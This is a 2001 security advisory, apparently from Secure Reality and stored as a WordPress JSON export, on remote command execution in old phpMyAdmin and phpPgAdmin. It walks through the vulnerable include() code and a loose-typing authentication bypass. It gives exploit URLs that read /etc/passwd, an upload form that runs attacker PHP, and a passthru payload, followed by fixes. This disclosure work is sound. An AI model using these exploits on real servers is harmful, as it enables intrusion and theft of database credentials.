{"id":22,"date":"2021-06-15T00:10:22","date_gmt":"2021-06-15T00:10:22","guid":{"rendered":"https:\/\/securereality.com.au\/?page_id=22"},"modified":"2021-06-15T00:10:24","modified_gmt":"2021-06-15T00:10:24","slug":"security-advisory-8","status":"publish","type":"page","link":"https:\/\/securereality.com.au\/security-advisory-8\/","title":{"rendered":"Security Advisory #8"},"content":{"rendered":"\n<pre class=\"wp-block-preformatted\">=================================================\nSecure Reality Pty Ltd. Security Advisory #8 (SRADV00008)\n<blockquote class=\"wp-embedded-content\" data-secret=\"C81YzT5U2o\"><a href=\"https:\/\/securereality.com.au\/\">Secure Reality<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Secure Reality&#8221; &#8212; Secure Reality\" src=\"https:\/\/securereality.com.au\/embed\/#?secret=C81YzT5U2o\" data-secret=\"C81YzT5U2o\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n=================================================\n\n[Title]\nRemote command execution vulnerabilities in phpMyAdmin and phpPgAdmin\n\n[Released]\n2\/7\/2001\n\n[Vulnerable]\n- phpMyAdmin up to and including official 2.1.0 (without SecureReality\npatch), or less than 2.2.0pre5 of unofficial project\n- phpPgAdmin below 2.3\n\n[Overview]\nphpMyAdmin is an easy to use web based administration interface for MySQL\nwritten in PHP. It was written by Tobias Ratschiller, author of several PHP\ntextbooks, regular speaker on PHP and prominent member of the PHP community.\nphpMyAdmin is extremely popular and very widespread (site rankings show it\nalmost as popular as PHP itself) since it makes most MySQL administration\ntasks much easier.\n\nA further indication of its popularity is the fact that is has since been\nported (largely by independent development) from MySQL to also work on\nPostgreSQL as a separate product called phpPgAdmin.\n\nphpMyAdmin (and phpPgAdmin by its common code base) makes insecure calls to\nthe PHP function include(). Installations of the versions specified are\nvulnerable to attacks in which the attacker gains the ability to execute\narbitrary commands (and code) on the remote web server with the permissions\nof the web server user, typically 'nobody'. Please note that enabling\n'Advanced Authentication' does _NOT_ prevent this attack. Given command\nexecution ability the attacker also gains the ability to read the\nconfiguration files of the installation, thereby gaining database\ncredentials.\n\n[Impact]\nRemote command execution (with privileges as above)\nDisclosure of Database Credentials\n\n[Detail]\nPlease note that this vulnerability was discussed in detail at the Black Hat\nBriefings in Hong Kong and Singapore in Asia 2001. At some stage, powerpoint\npresentation notes and audio\/video of the presentation will become available\nat http:\/\/www.blackhat.com.\n\nNote also that this description will be best understood (and is released in\nconjunction with) our new paper \"A Study In Scarlet - Exploiting Common\nVulnerabilities in PHP Applications\" which can be downloaded from\nhttp:\/\/www.securereality.com.au\/archives.html\n\nOk, I'm going to explain this vulnerability in terms of how an attacker\nmight go about finding the problem, sidestepping the various issues in its\nexploitation then successfully executing code on the remote web server.\n\nThe problem is spotted initially with a trivial grep of the source. The\nfollowing line of code in sql.php seems suspicious:\n\n include($goto);\n\nThe include() function tells PHP to read in the file specified in the\nvariable $goto and interpret it as though it were PHP code. If the attacker\ncan affect $goto (with form input) they may be able to point this at\nsensitive local files (e.g \/etc\/passwd) and have them returned or even\nworse, have their own PHP interpreted which allows them to run arbitrary\ncode.\n\nLooking at the context around this code:\n\n4 require(\"lib.inc.php\");\n5 $no_require = true;\n6\n7\n8 if(isset($goto) &amp;&amp; $goto == \"sql.php\")\n9 {\n10  $goto =\n\"sql.php?server=$server&amp;db=$db&amp;table=$table&amp;pos=$pos&amp;sql_query=\".urlencode($\nsql_query);\n11 }\n12\n13 \/\/ Go back to further page if table should not be dropped\n14 if(isset($btnDrop) &amp;&amp; $btnDrop == $strNo)\n15 {\n16  if(file_exists($goto))\n17   include($goto);\n18  else\n19   Header(\"Location: $goto\");\n20  exit;\n21 }\n\nsql.php is normally used by phpMyAdmin to perform freeform SQL queries\n(usually select statements), its also used to drop and empty tables. For\ndrop and empty actions the page is designed to first confirm the action\n(with an 'Are you sure?' type page) then perform the action and return the\nuser to an application defined page. The code we are looking at above is the\ncode to determine if the person said no to the 'Are you sure?' and if so, to\nreturn them to the page where they began.\n\nSo, the user enters this page by following a link somewhere else in the\napplication. The link has as form input, amongst other things, the $goto\nvariable set to an appropriate place to return to once the action is\ncompleted (or cancelled as the case may be).\n\nLine 4 includes some sort of library code (presumably configuration\ninformation too). Then lines 8-11 redefine $goto to include form information\nif the page set to return to is sql.php itself. Line 14 checks if the form\ninput contains the variable $btnDrop (which is the form button usually used\nto select 'Yes' or 'No' at the confirmation prompt). If the input does\ncontain $btnDrop and it is set to 'No' in the language phpMyAdmin is using\n($strNo) sql.php assumes the user has just clicked No to a drop\/clear action\nand begins processing code to return them to the page they came from. Line\n16 looks at the $goto variable (which is set as described above in the link\nused to get to sql.php to set a page to return to), it attempts to be\nintelligent and if that page is found on the local system\n(file_exists($goto)) include()s the file for interpretation by PHP instead\nof redirecting the browser (as on line 19).\n\nThis code is undoubtedly vulnerable. The variable $goto is MEANT to be set\nby the remote web browser in form input and can be pointed at any local file\nthe attacker wishes. So as a first attempt the attacker might surf in their\nweb browser to:\n\n http:\/\/&lt;vulnerable host&gt;\/phpMyAdmin\/sql.php?btnDrop=No&amp;goto=\/etc\/passwd\n\nwhich might be expected to return the text of the password file on the\nremote machine. Unfortunately, in most cases this won't actually succeed and\ninstead a username and password box will pop up. This is the 'Advanced\nauthentication' configuration for phpMyAdmin. phpMyAdmin is not designed for\nuse on the Internet (this is stated in the documentation) and in its most\nbasic configuration users do not have to log in, they simply have to know\nthe url of the installation. In this configuration a set of MySQL\ncredentials are stored in a configuration file and all users of the\napplication share those credentials. This is obviously a bad thing, both on\nan Intranet and the Internet. Thus later versions supply an 'Advanced\nauthentication' configuration that forces users to login using a MySQL\nusername and password and their access is limited to the access of those\ncredentials. Even though the documentation states phpMyAdmin should not be\nused on the Internet many users have done so, relying on the Advanced\nauthentication to prevent anonymous users accessing the databases.\n\nSo, presumably the attacker doesn't have credentials on the remote databases\nwhich means they will need a way around this authentication. Remember line 4\nof sql.php which included lib.inc.php? Obviously this authentication must be\nhappening somewhere inside there so here's some context:\n\n4 require(\"config.inc.php\");\n\n... definition of a few utility functions\n\n102 reset($cfgServers);\n103 while(list($key, $val) = each($cfgServers))\n104 {\n105  \/\/ Don't use servers with no hostname\n106  if (empty($val['host']))\n107   unset($cfgServers[$key]);\n108 }\n109\n110 if(empty($server) || !isset($cfgServers[$server]) ||\n!is_array($cfgServers[$server]))\n111  $server = $cfgServerDefault;\n112\n113 if($server == 0)\n114 {\n115  \/\/ If no server is selected, make sure that $cfgServer is empty\n116  \/\/ (so that nothing will work), and skip server authentication.\n117  \/\/ We do NOT exit here, but continue on without logging into\n118  \/\/ any server.  This way, the welcome page will still come up\n119  \/\/ (with no server info) and present a choice of servers in the\n120  \/\/ case that there are multiple servers and '$cfgServerDefault = 0'\n121  \/\/ is set.\n122  $cfgServer = array();\n123 }\n124 else\n125 {\n126  \/\/ Otherwise, set up $cfgServer and do the usual login stuff.\n127  $cfgServer = $cfgServers[$server];\n\nLine 4 includes some sort of configuration information from config.inc.php.\nLine 102 goes on to enumerate an array called $cfgServers (which presumably\nis set in config.inc.php) and removes any entries that don't have a 'host'\nelement (which implies the array is two dimensional, arrays in PHP are\nassociative). Line 110 then checks if the variable $server is '' or if\n$cfgServers[$server] isn't set or isn't itself an array, if any of those\nconditions are true $server is set to $cfgServerDefault. Finally the code\nchecks if $server is 0, if it is then (as the comment specified)\nauthentication is completely skipped, obviously something the attacker would\nappreciate.\n\nOk, so what does this mean? phpMyAdmin can be configured to manage several\ndifferent MySQL servers. In this case, before demanding a login, it provides\na select box for the user to select which MySQL server they want to manage.\nThe code around line 103 removes misconfigured servers. The code around line\n110 checks the users selection, if it isn't in the list of configured\nservers the server is set to $cfgServerDefault (a default server). Finally\nin line 113 the program checks if no server has yet been selected, and if 0\nhas been selected it doesn't force a login based on the assumption the user\nmust be at the main index about to choose a server. It shouldn't matter\nanyway, since the user hasn't provided credentials for a database the\napplication won't connect anywhere so from the applications point of view\nthere is no security issue in allowing pages to execute while not connected\nto a database. However, the attacker is attacking the application and not\nthe database.\n\nGiven the above, the attacker obviously wants to set $server to 0 so that\nauthentication will be skipped. But this doesn't work (in most situations).\nLooking at some context from config.inc.php:\n\n9 \/\/ The $cfgServers array starts with $cfgServers[1].  Do not use\n$cfgServers[0].\n10 \/\/ You can disable a server config entry by setting host to ''.\n11  $cfgServers[1]['host'] = 'localhost';           \/\/ MySQL hostname\n12  $cfgServers[1]['port'] = '';                    \/\/ MySQL port - leave\nblank for default port\n13  $cfgServers[1]['adv_auth'] = true;             \/\/ Use advanced authentic\nation?\n\n... more cfgServers[] entries ...\n\n41  \/\/ If you have more than one server configured, you can set\n$cfgServerDefault\n42 \/\/ to any one of them to autoconnect to that server when phpMyAdmin is\nstarted,\n43  \/\/ or set it to 0 to be given a list of servers without logging in\n44  \/\/ If you have only one server configured, $cfgServerDefault *MUST* be\n45  \/\/ set to that server.\n46  $cfgServerDefault = 1;                            \/\/ Default server  (0=\nno default server)\n47  $cfgServer = '';\n48  unset($cfgServers[0]);\n\nLine 48 above deliberately forces cfgServers[0] to be unset. This means that\nif an attacker sets $server = 0 the !isset($cfgServers[$server]) clause of\nthe if statment on line 110 of lib.inc.php will evalutate to true and\n$server will be set to $cfgServerDefault. As the comment on line 41 above\nindicates $cfgServerDefault is usually set to a specific server (in almost\nall installations). So the attacker still needs a way to set $server = 0\nwithout triggering the if statement that evaluates cfgServers[$server] and\nresets it to the default.\n\nThe answer to this is in loose typing. $server simply needs to evaluate to\nthe _numeric_ value 0. It doesn't have to be '0', just evaluate to 0. Many\ndifferent strings evaluate to 0, for example '', '0', '00'. So the attacker\nneeds to set $server to some value that evaluates to 0 and insure that the\narray entry $cfgServers[$server]['host'] is set. Note that the\nconfig.inc.php code never EMPTIES the cfgServers array, this means that an\nattacker can submit as form input entries for this array. Take for example\nthe $server value '000'. This value evaluates to 0 in a numeric context. The\nattacker can now create as form input $cfgServers[000][host]=hello. Remember\nthat PHP arrays are associative (that is, the index is a string), thus\n$cfgServers[000] is NOT the same as cfgServers[0].\n\nGiven the above, the attacker might try the following in their web browser:\n\n http:\/\/&lt;vulnerable\nhost&gt;\/phpMyAdmin\/sql.php?server=000&amp;cfgServers[000][host]=hello&amp;btnDrop=No&amp;g\noto=\/etc\/passwd\n\nSure enough, all the tests are passed and the passwd file of the remote\nserver is returned in a web page, straight through the firewall and past the\nIDS.\n\nNow, the attacker is unlikely to be satisfied with simply being able to read\nfiles on the remote web server, they're goal is to execute commands. They\nhave the ability to include any file they wish to be executed as PHP, they\nsimply need to get some PHP code of their choosing into a file on the remote\nmachine. There are many ways to do this in PHP (see our paper for more\ninformation) but the most obvious one is file upload. Take the following\nform:\n\n &lt;FORM ENCTYPE=\"multipart\/form-data\" ACTION=\"http:\/\/&lt;vulnerable\nhost&gt;\/phpMyAdmin\/sql.php\" METHOD=POST&gt;\n &lt;INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"10000\"&gt;\n PHP File to be executed: &lt;INPUT NAME=\"goto\" TYPE=\"file\"&gt;\n &lt;INPUT TYPE=\"hidden\" NAME=\"cfgServers[000][host]\" VALUE=\"hello\"&gt;\n &lt;INPUT TYPE=\"hidden\" NAME=\"server\" VALUE=\"000\"&gt;\n &lt;INPUT TYPE=\"hidden\" NAME=\"btnDrop\" VALUE=\"No\"&gt;\n &lt;INPUT TYPE=\"submit\" VALUE=\"Send File\"&gt;\n\nIf saved into a file and loaded into a web browser it brings up a form\nasking for a file containing PHP code to be executed on the remote web\nserver. The user can click the 'Browse' button and pick any file they wish.\nWhen the user clicks 'Send File' that file is uploaded to the remote web\nserver. As default PHP functionality, it automatically accepts that file\n(even though sql.php does not process file uploads) and saves it on the\nlocal disk of the web server, it then sets the location of the file in the\nvariable $goto (e.g '\/tmp\/phpxXuoXG') and sets the variables $server,\n$btnDrop, $cfgServers[000] as needed for the exploit. All the tests are\nagain passed but now instead of reading a file that was already local the\nlocal file is one the attacker has just uploaded. If the file contained the\nfollowing for example:\n\n &lt;?php\n passthru(\"ls \/etc\");\n ?&gt;\n\na directory listing of the \/etc\/ directory on the remote web server would be\nreturned to the attackers web browser. Obviously any command could be\nspecified and further exploit code could be uploaded and executed as\ndescribed in 'A Study In Scarlet'.\n\nThe attacker can also gain further assistance by reading the contents of\nconfig.inc.php. In Advanced authentication installations it contains\ndatabase credentials for each database to be administered using phpMyAdmin.\nThe credentials must be able to read the priviliges in the mysql database.\nThis means allows an attacker to easily gain access to the encrypted\npassword hashes of all the users on each MySQL installation. Further, most\ninstallations actually place the MySQL root user credentials in this file to\nsave effort of creating a new user with select privileges on mysql.*.\n\nThe attack on phpPgAdmin is a slight variation on the one detailed above.\nThis is because phpPgAdmin is based on an older version of phpMyAdmin. The\nattacker simply needs to set $LIB_INC to 1 to prevent lib.inc.php being\nincluded at all without having to fool the application into believing the\nuser is yet to select a server. That is, an attack like the following works:\n\n http:\/\/&lt;vulnerable\nhost&gt;\/phpPgAdmin\/sql.php?LIB_INC=1&amp;btnDrop=No&amp;goto=\/etc\/passwd\n\nAs always with PHP there are many caveats to the attacks details in this\nadvisory based on PHP configuration and version. I'm not going to go into\ndetail discussing those here. Suffice to say this is a bug and it is usually\nexploitable.\n\n[Fix]\nDevelopment of phpMyAdmin has been continued by an independent and\nunauthorized (as yet) group of developers who have released a new version\nthat contains fixes for this problem. You can upgrade to their version\n(2.2.0pre5) from:\n http:\/\/sourceforge.net\/project\/showfiles.php?group_id=23067\n\nIf you want to continue running the last official version of phpMyAdmin\n(2.1.0) please apply the SecureReality patch as described in SRPRE00001 at:\n http:\/\/www.securereality.com.au\/srpre00001.html\n\nThe developers of phpPgAdmin have patched later versions to fix this\nproblem. Please download the fixed version from:\n ftp:\/\/ftp.greatbridge.org\/pub\/phppgadmin\/stable\/phpPgAdmin_2-3.tar.gz\n\n[Acknowledgements]\nOur thanks to the developers of the unofficial phpMyAdmin project and Dan\nWilson from the phpPgAdmin project for applying our fixes to their releases.\n\n[Disclaimer]\nAdvice, directions and instructions on security vulnerabilities in this\nadvisory do not constitute: an endorsement of illegal behavior; a guarantee\nthat protection measures will work; an endorsement of any product or\nsolution or recommendations on behalf of Secure Reality Pty Ltd. Content is\nprovided as is and Secure Reality Pty Ltd does not accept responsibility for\nany damage or injury caused as a result of its use.<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>================================================= Secure Reality Pty Ltd. Security Advisory #8 (SRADV00008) Secure Reality ================================================= [Title] Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin [Released] 2\/7\/2001 [Vulnerable] &#8211; phpMyAdmin up to and including official 2.1.0 (without SecureReality patch), or less than 2.2.0pre5 of unofficial project &#8211; phpPgAdmin below 2.3 [Overview] phpMyAdmin is an easy to use web based &#8230; <a title=\"Security Advisory #8\" class=\"read-more\" href=\"https:\/\/securereality.com.au\/security-advisory-8\/\" aria-label=\"More on Security Advisory #8\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_generate-full-width-content":""},"_links":{"self":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/22"}],"collection":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/comments?post=22"}],"version-history":[{"count":1,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/22\/revisions"}],"predecessor-version":[{"id":23,"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/pages\/22\/revisions\/23"}],"wp:attachment":[{"href":"https:\/\/securereality.com.au\/wp-json\/wp\/v2\/media?parent=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}